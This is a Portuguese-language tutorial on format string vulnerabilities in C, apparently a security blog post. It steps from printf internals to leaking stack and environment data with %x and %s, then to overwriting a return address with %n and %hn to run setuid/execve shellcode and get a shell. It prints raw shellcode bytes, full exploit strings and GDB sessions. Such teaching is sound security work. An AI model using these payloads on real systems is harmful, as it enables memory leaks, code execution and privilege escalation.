[VD02] – Format String
Neste post irei tentar explicar em detalhes os fundamentos da categoria de vulnerabilidades denominada de “Format String“. Explicarei o que são vulnerabilidades de Format String, o porquê que essas vulnerabilidades ocorrem e como explorar tais falhas. Irei usar o Sistema operacional Linux com o GNU Debugger (GDB) e o GNU Compiler Collection (GCC). Apesar do uso de um sistema operacional específico, essa categoria de vulnerabilidade ocorre e é explorável em muitos outros sistemas. O objetivo desse artigo é mostrar para o leitor a essência da técnica, de modo que após a compreensão dos fundamentos, o próprio possa pesquisar as variações do ataque.
Todos que já programaram na linguagem C já usaram a famosa função printf que é padrão da biblioteca stdio da libc [1]. Pois bem, vamos analisar o formato da função printf retirada da glibc 2.9:
int __printf (const char *format, ...) {
va_list arg;
int done;
va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);
return done;
}
int vfprintf (FILE *s, const CHAR_T *format, va_list ap) {
...
}
Uma característica a se notar no código acima é que o parâmetro “format” passado para a função printf não recebe nenhum tratamento ou nenhuma checagem de tamanho e formato, é ele que vai especificar para a função qual o formato da string a ser impressa no file handler especificado por File *s que no caso de printf é a saida padrão (STDOUT) e a quantidade de parâmetros a mais que a função deve receber para poder substituir os caracteres coringas iniciados com “%” no parâmetro de formatação. Esse é um dos dois fatores que tornam o ataque estudado possível. O segundo fator a forma como as funções funcionam em código de máquina. Vamos mostrar isso passo a passo:
#include <stdio.h>
#include <stdlib.h>
void sum (int a, int b, int c) {
printf("\n%d + %d + %d = %d\n\n", a, b, c, (a+b+c));
}
int main (int argc, char *argv[]) {
sum(1, 2, 3);
}
O código em C de uma função que recebe três números inteiros como parâmetro e retorna a o resultado da soma dos três.
(gdb) disas main Dump of assembler code for function main: 0x080483fc : lea 0x4(%esp),%ecx 0x08048400 : and $0xfffffff0,%esp 0x08048403 : pushl -0x4(%ecx) 0x08048406 : push %ebp 0x08048407 : mov %esp,%ebp 0x08048409 : push %ecx 0x0804840a : sub $0x14,%esp <--- Aloca espaço na pilha para os parâmetros 0x0804840d : movl $0x3,0x8(%esp) <--- Coloca 3 na pilha 0x08048415 : movl $0x2,0x4(%esp) <--- Coloca 2 na pilha 0x0804841d : movl $0x1,(%esp) <--- Coloca 1 na pilha 0x08048424 : call 0x80483c4 <--- Chama a função "sum" 0x08048429 : add $0x14,%esp <--- Limpa o espaço reservado 0x0804842c : pop %ecx 0x0804842d : pop %ebp 0x0804842e : lea -0x4(%ecx),%esp 0x08048431 : ret End of assembler dump.
(gdb) disas sum Dump of assembler code for function sum: 0x080483c4 : push %ebp 0x080483c5 : mov %esp,%ebp 0x080483c7 : sub $0x18,%esp 0x080483ca : mov 0xc(%ebp),%edx <--- Retira primeiro parâmetro da pilha 0x080483cd : mov 0x8(%ebp),%eax <--- Retira segundo parâmetro da pilha 0x080483d0 : add %edx,%eax <--- Executa soma 0x080483d2 : add 0x10(%ebp),%eax <--- Soma resultado com terceiro parâmetro 0x080483d5 : mov %eax,0x10(%esp) 0x080483d9 : mov 0x10(%ebp),%eax 0x080483dc : mov %eax,0xc(%esp) 0x080483e0 : mov 0xc(%ebp),%eax 0x080483e3 : mov %eax,0x8(%esp) 0x080483e7 : mov 0x8(%ebp),%eax 0x080483ea : mov %eax,0x4(%esp) 0x080483ee : movl $0x8048500,(%esp) 0x080483f5 : call 0x80482f8 0x080483fa : leave 0x080483fb : ret End of assembler dump.
Note que é feito o uso da pilha para a operação de passagem de parâmetros para uma determinada função. Quando uma função é projetada, o seu código já leva em consideração que irá encontrar os parâmetros dentro da pilha, acessando esses logo no início da chamada a função usando o endereço da base da pilha, armazenado em %ebp, para fazer uma referência relativa.
Juntando essas duas características chegamos a causa da vulnerabilidade estudada. O primeiro parâmetro de printf (o “format“) especifica a quantidade de parâmetros que a função deve receber de acordo com a quantidade de “%”s. O que acontece se nós colocarmos um “%” e nos “esquecemos” de passar o parâmetro com o valor para ser exibido nessa posição?
Ex:
printf("\n\t[%x] [%x] [%x] [%x]\n");
--------
$ ./bug
[0x8049ff4] [0xbffce578] [0x8048419] [0xb7fc1f50]
A função printf pegará valores na pilha que não estava no plano do programador de serem exibidos. No exemplo acima, mostramos que o resultado do printf foi a impressão de 16 bytes que estavam na pilha. Isso ocorre não só para printf, mas para qualquer funcão dessa família:
envy:~/tmp/glibc-2.9/stdio-common$ ls -la *printf* | grep -v tst | grep -v test -rw-r--r-- 1 mabj mabj 1465 2006-01-14 09:09 asprintf.c -rw-r--r-- 1 mabj mabj 1324 2006-01-14 09:09 dprintf.c -rw-r--r-- 1 mabj mabj 1479 2006-01-14 09:09 fprintf.c -rw-r--r-- 1 mabj mabj 1501 2005-08-08 17:05 fxprintf.c -rw-r--r-- 1 mabj mabj 1347 2006-01-14 09:09 printf.c -rw-r--r-- 1 mabj mabj 1379 2006-01-14 09:09 snprintf.c -rw-r--r-- 1 mabj mabj 1393 2006-01-14 09:09 sprintf.c -rw-r--r-- 1 mabj mabj 74108 2008-07-25 20:38 vfprintf.c -rw-r--r-- 1 mabj mabj 68 1999-06-16 19:41 vfwprintf.c -rw-r--r-- 1 mabj mabj 1265 2006-01-14 09:09 vprintf.c
Agora vem o “pulo do gato”… imagine só se um programador descuidado usa o input do usuário como entrada para o parâmetro de formato de uma determinada função da família printf. Em uma primeira observação nós poderíamos imprimir todo o conteúdo da pilha do processo alvo através da inserção de muitos “%”s na string de formato. Ex:
#include
#include
void print_str(char *param) {
printf(param); < --| Usado como parâmetro de formatação
}
int main (int argc, char *argv[]) {
print_str(argv[1]); < --| Passado direto para a função
}
envy:~format_string$ ./vuln_03 '[%#x] [%#x] [%#x] [%#x] [%#x]' [0x8049ff4] [0xbfdf0378] [0x80483f8] [0xbfdf176a] [0x8049ff4]
Como nós já sabemos que o parâmetro passado para a função “print_str” é jogado na pilha para que possa ser executado junto com printf e que podemos imprimir os valores de pilha através da manipulação do parâmetro de formatação passado, isso significa que podemos imprimir na tela o próprio parâmetro de printf que está na pilha.
./vuln_03 'AAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x' AAAAAAAAAAAAAAAAAAAA8049ff4bffff47880483f8bffff65d8049ff4bffff48880484 39b7ff0f50bffff490bffff4e8b7e8968580484208048310bffff4e8b7e896852bffff514b ffff520b7fe2b381108048230b7fccff480484208048310bffff4e8df892179f14c95690 00b7ff6090b7e895adb7ffeff4280483100804833180483d72bffff5148048 4208048410b7ff0f50bffff50cb7ffbaaa2bffff653bffff65d0bffff788bffff79cbf fff7afbffff7cabffff7d5bffff7e5bffff836bffff882bffff8d1bffff922bffff93bbffff94 dbffff963bffff96dbffffd96bffffdc3bffffdf2bffffe1dbffffe6abffffe82bffffeb7bfff feedbffffefebfffff0fbfffff26bfffff36bfffff3ebfffff56bfffff63bfffff83 bfffff8ebfffffb0bfffffbbbfffffc7020b7ffd42021b7ffd00010bfe9fbff61000116438 048034420587b7fe30008098048310b3e8c3e8d3e8e3e81701fbffffff2fbffff64b00 0690000003638362e0000006c75762f33305f6e41414100414141414141 4141414141414141414125782541257825782578257825782578
Olhando rapidamente a manpage da função printf podemos ver que é possível simplificar nosso format string para algo mais prático usando o que é chamado de Direct Parameter Access “%n\$x”, onde “n” é o número do %x que será mostrado na tela. Para descobrir qual o n que representa a posição do nosso parâmetro podemos fazer um shellscript simples.
$ for i in `seq 1 200`; do ./vuln_03 "BAAAA[0x%$i\$x]" ;echo " $i"; done | grep 4141 BAAAA[0x41414142] 134 $ ./vuln_03 "BAAAA[0x%134\$x]" BAAAA[0x41414142] < --- AAAB
Agora sabemos que esse código irá exibir qualquer valor que colocarmos no inicio da nossa formated string no lugar de “BAAA” do inicio como:
$ ./vuln_03 "CCCCA[0x%134\$x]" CCCCA[0x43434343] < --- CCCC
Com isso nós podemos visualizar um valor posicionado em qualquer endereço de memória acessivel pelo processo atacado; simplesmente substituindo o inicio do format string por um endereço válido como:
$ ./vuln_03 "CCCCA[0x%134\$x]" CCCCA[0x43434343] < --- CCCC
Vamos procurar o endereço da variável de ambiente que guarda a string com o home do meu usuário.
$ for i in `seq 1 200`;
do ./vuln_03 "BAAAA[%$i\$s]" ;
echo " $i";
done | grep "HOME"
BAAAA[HOME=/home/mabj] 76
$ ./vuln_03 "CCCCA[0x%76\$x]"
CCCCA[0xbfffff26] < -- Achamos o endereço da variável de ambiente ! : ]
Agora é só substituir o inicio do parâmetro de formatação passado para printf pelo endereço da variável de ambiente e com isso obtemos a o nosso home.
./vuln_03 $'\x26\xff\xff\xbfA[%76$s]' &���A[HOME=/home/mabj]
Usando esse mesmo artifício podemos imprimir todas as strings visíveis ao processo. Podemos procurar por informações mais interessantes do que variáveis de ambiente, como senhas e chaves criptográficas. Isso pode ser muito útil quando o programa vulnerável é usado por muitos usuários como um servidor SSH ou um FTP.
Vamos passar para o segundo tempo do jogo. Se lermos o manual da função printf perceberemos que ela possui um caractere coringa passado via parâmetro de formatação que é o “%n”. Essa entrada especifica que o printf deverá armazenar a quantidade de caracteres impressos na tela em uma variável mapeada no endereço passado como parâmetro (no caso da nossa arquitetura 4 bytes).
n Nothing printed. The argument must be a pointer to a signed int, where the number of
characters written so far is stored.
Quando aprendi isso pela primeira vez pensei comigo mesmo: “Para diabos que será que inventaram isso se não para malvadeza ?”. E a pergunta permanece. Nunca vi um uso legítimo disso. : ]
Já que o “%n” ainda está na libc … vamos mostrar como podemos fazer uso do mesmo para sobrescrever o ponto de retorno da função vulnerável executando algum shellcode [2] armazenado numa variável de ambiente.
Primeiro, vamos no millworm [3] pegar um shellcode qualquer para executarmos (escolha a gosto). Eu escolhi um setuid(0) + execve (/bin/sh) mostrado no seguinte [link].
Vamos carregar o nosso shellcode em uma variável de ambiente qualquer.
$ export SHELLCODE=$'\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'
$ env | grep SHELLCODE
SHELLCODE=�1��
�Rh//shh/bin��RS��
Agora que temos nosso shellcode em uma variável de ambiente vamos procurar o endereço dele dentro do nosso processo usando o GDB (se lembre de desativar a randomização do Address Space, veja como fazer isso em VD01).
(gdb) break *(main) Breakpoint 1 at 0x80483d7 (gdb) r "A" Starting program: /home/mabj/Documents/project/writer/format_string/vuln_03 "A" Breakpoint 1, 0x080483d7 in main () Current language: auto; currently asm (gdb) x/20x $esp 0xbffff22c: 0xb7e89685 0x00000002 0xbffff5b4 (ARGV) 0xbffff2c0 0xbffff23c: 0xb7fe2b38 0x00000001 0x00000001 0x00000000 0xbffff24c: 0x08048230 0xb7fccff4 0x08048420 0x08048310 0xbffff25c: 0xbffff588 0xd90a6179 0xf7cc9569 0x00000000 0xbffff26c: 0x00000000 0x00000000 0xb7ff6090 0xb7e895ad (gdb) x/x 0xbffff5b4 < --- Pegando o endereço de ARGV[0] 0xbffff2b4: 0xbffff708 (gdb) x/s (0xbffff708+4) 0xbffff40c: "e/mabj/Documents/project/writer/format_string/vuln_03" (gdb) 0xbffff442: "A" (gdb) 0xbffff444: "SSH_AGENT_PID=6224" (gdb) 0xbffff457: "KDE_MULTIHEAD=false" (gdb) 0xbffff46b: "DM_CONTROL=/var/run/xdmctl" (gdb) 0xbffff4db: "SHELLCODE=�\0271��\200�\v\231Rh//shh/bin\211�RS\211��\200" (gdb) x/s (0xbffff4e5) 0xbffff4e5: "�\0271��\200�\v\231Rh//shh/bin\211�RS\211��\200" <--- BINGO !
Agora que temos o endereço do nosso shellcode (0xbffff4e5), vamos procurar onde está o ponto de retorno da nossa função vulnerável a print_str e com isso gerar uma string para que possamos sobrescrever esse endereço.
(gdb) disas main
Dump of assembler code for function main:
0x080483d7 : lea 0x4(%esp),%ecx
0x080483db : and $0xfffffff0,%esp
0x080483de : pushl -0x4(%ecx)
0x080483e1 : push %ebp
0x080483e2 : mov %esp,%ebp
0x080483e4 : push %ecx
0x080483e5 : sub $0x14,%esp
0x080483e8 : mov 0x4(%ecx),%eax
0x080483eb : add $0x4,%eax
0x080483ee : mov (%eax),%eax
0x080483f0 : mov %eax,(%esp)
0x080483f3 : call 0x80483c4
0x080483f8 : add $0x14,%esp < --- Esse aqui é o endereço guardado no nosso
ponto de retorno vamos procurar por ele na pilha
assim que entramos na função "print_str"
0x080483fb : pop %ecx
0x080483fc : pop %ebp
0x080483fd : lea -0x4(%ecx),%esp
0x08048400 : ret
End of assembler dump.
(gdb) break *(print_str) Breakpoint 1 at 0x80483c4 (gdb) r "A" Starting program: /home/mabj/Documents/project/writer/format_string/vuln_03 "A" Breakpoint 1, 0x080483c4 in print_str () Current language: auto; currently asm (gdb) x/20x 0x0: Cannot access memory at address 0x0 (gdb) x/20x $esp 0xbffff2ac: 0x080483f8 0xbffff4a0 0x08049ff4 0xbffff2d8 0xbffff2bc: 0x08048439 0xb7ff0f50 0xbffff2e0 0xbffff338 0xbffff2cc: 0xb7e95685 0x08048420 0x08048310 0xbffff338 0xbffff2dc: 0xb7e95685 0x00000002 0xbffff364 0xbffff370 0xbffff2ec: 0xb7fe2b38 0x00000001 0x00000001 0x00000000 (gdb) x/x 0xbffff2ac 0xbffff2ac: 0x080483f8 < --- Achei o endereço do ponto de retorno
Agora já temos o endereço do lugar exato onde iremos sobrescrever com o endereço do nosso shellcode. Agora vamos gerar a nossa format string que explore essa vulnerabilidade. Tudo que temos que fazer é fazer com que o nosso parâmetro de formato inserido tenha como inicio o endereço do ponto de retorno e que a soma dos caracteres impressos na tela seja igual ao endereço do nosso shellcode. A primeira técnica que iremos usar é a que sobrescrevemos byte a byte do nosso endereço de retorno.

Fig. 01 Sobrescrevendo byte a byte
Lembrar de retirar os espaços em branco.
(gdb) r $'
\xac\xf2\xff\xbf |----> Sobrescrevendo o byte 1
\xad\xf2\xff\xbf |----> Sobrescrevendo o byte 2
\xae\xf2\xff\xbf |----> Sobrescrevendo o byte 3
\xaf\xf2\xff\xbf |----> Sobrescrevendo o byte 4
%213x%128$n | ---> 16 + 213 = 229 = 0xE5
%15x%129$n | ---> 229 + 15 = 244 = 0xF4
%11x%130$n | ---> 244 + 11 = 255 = 0xFF
%192x%131$n | ---> 255 + 192 = 447 = 0x1BF
'
Com isso conseguimos sobrescrever o endereço de retorno da função print_str com o endereço do nosso shellcode com sucesso.
(gdb) r $'\xac\xf2\xff\xbf\xad\xf2\xff\xbf\xae\xf2\xff\xbf\xaf\xf2\xff\xbf%213x%128$n%15x%129$n%11x%130$n%192x%131$n' Starting program: /home/mabj/format_string/vuln3 $'\xac\xf2\xff\xbf\xad\xf2\xff\xbf\xae\xf2\xff\xbf\xaf\xf2\xff\xbf%213x%128$n%15x%129$n%11x%130$n%192x%131$n' Executing new program: /bin/dash (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) $ Voilà ! \O/
Apesar da eficácia da técnica, ela “polui” a memória em 3 bytes e não seria realizada com sucesso em caso do código está sendo executado em sistemas que contenha alguma proteção a pilha baseada em canários, pois a região ao redor do return point é sobrescrita pelos “%n”s.
Vamos agora ver outra técnica que nos permite sobrescrever exatamente os 32 bits do endereço de retorno na função vulnerável. A diferença para a primeira técnica é que usaremos uma variação de “%n” que sobrescreve apenas 16 bits que é o “%hn”.
Lembrar de retirar os espaços em branco.
(gdb) r $'
\xac\xf2\xff\xbf |---> Sobrescre os primeiros 16 bits de 0xbffff2ac
\xae\xf2\xff\xbf |---> Sobrescre os próximos 16 bits de 0xbffff2ae
%.49143u%130$hn |--> 8 + 49143 = 49151 = 0xBFFF
%.13542u%129$hn' |--> 49151 + 13542 = 0xF4E5
(gdb) r $'\xac\xf2\xff\xbf\xae\xf2\xff\xbf%.49143u%130$hn%.13542u%129$hn' The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/mabj/format_string/vuln3 $'\xac\xf2\xff\xbf\xae\xf2\xff\xbf%.49143u%130$hn%.13542u%1 29$hn' 0000000000000000000000000000000000000000000000000000000000000000000 ... 0000000000000000000000000000000000000000000000000000000000000000000 00000000000000Executing new program: /bin/dash (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) $ < ---| \O/\O/\O/
Com isso sobrescrevemos novamente o ponto de retorno da função print_str, mas dessa vez não sobrescrevemos nenhuma outra região da memória diferente da que queríamos. Sobrescrevemos com o endereço do nosso shellcode sem sobrescrever nenhuma região extra na memória. Note também que o format string ficou bem menor que o primeiro exemplo. \O/
Com isso acabamos o nosso post sobre format string. Aqui foram apresentadas apenas algumas técnicas básicas, cabe ao leitor, agora com os fundamentos do ataque, explorar suas variações. Essa é uma técnica poderoza pois permite modificações cirúrgicas na memória acessível pelo processo, isso torna o ataque tão ou mais perigoso quanto as técnicas de buffer overflow tradicionais. Existem na internet excelentes artigos sobre o assunto como o artigo de Scut da TESO Security [4] ou o Shellcoders Handbook no capítulo 4 [5].
[1] http://www.gnu.org/software/libc/
[2] http://en.wikipedia.org/wiki/Shellcode
[3] http://www.milw0rm.com/
[4] Exploiting format String Vulnerabilities
[5] Shellcoders Handbook – Discovering and Exploiting Security Holes






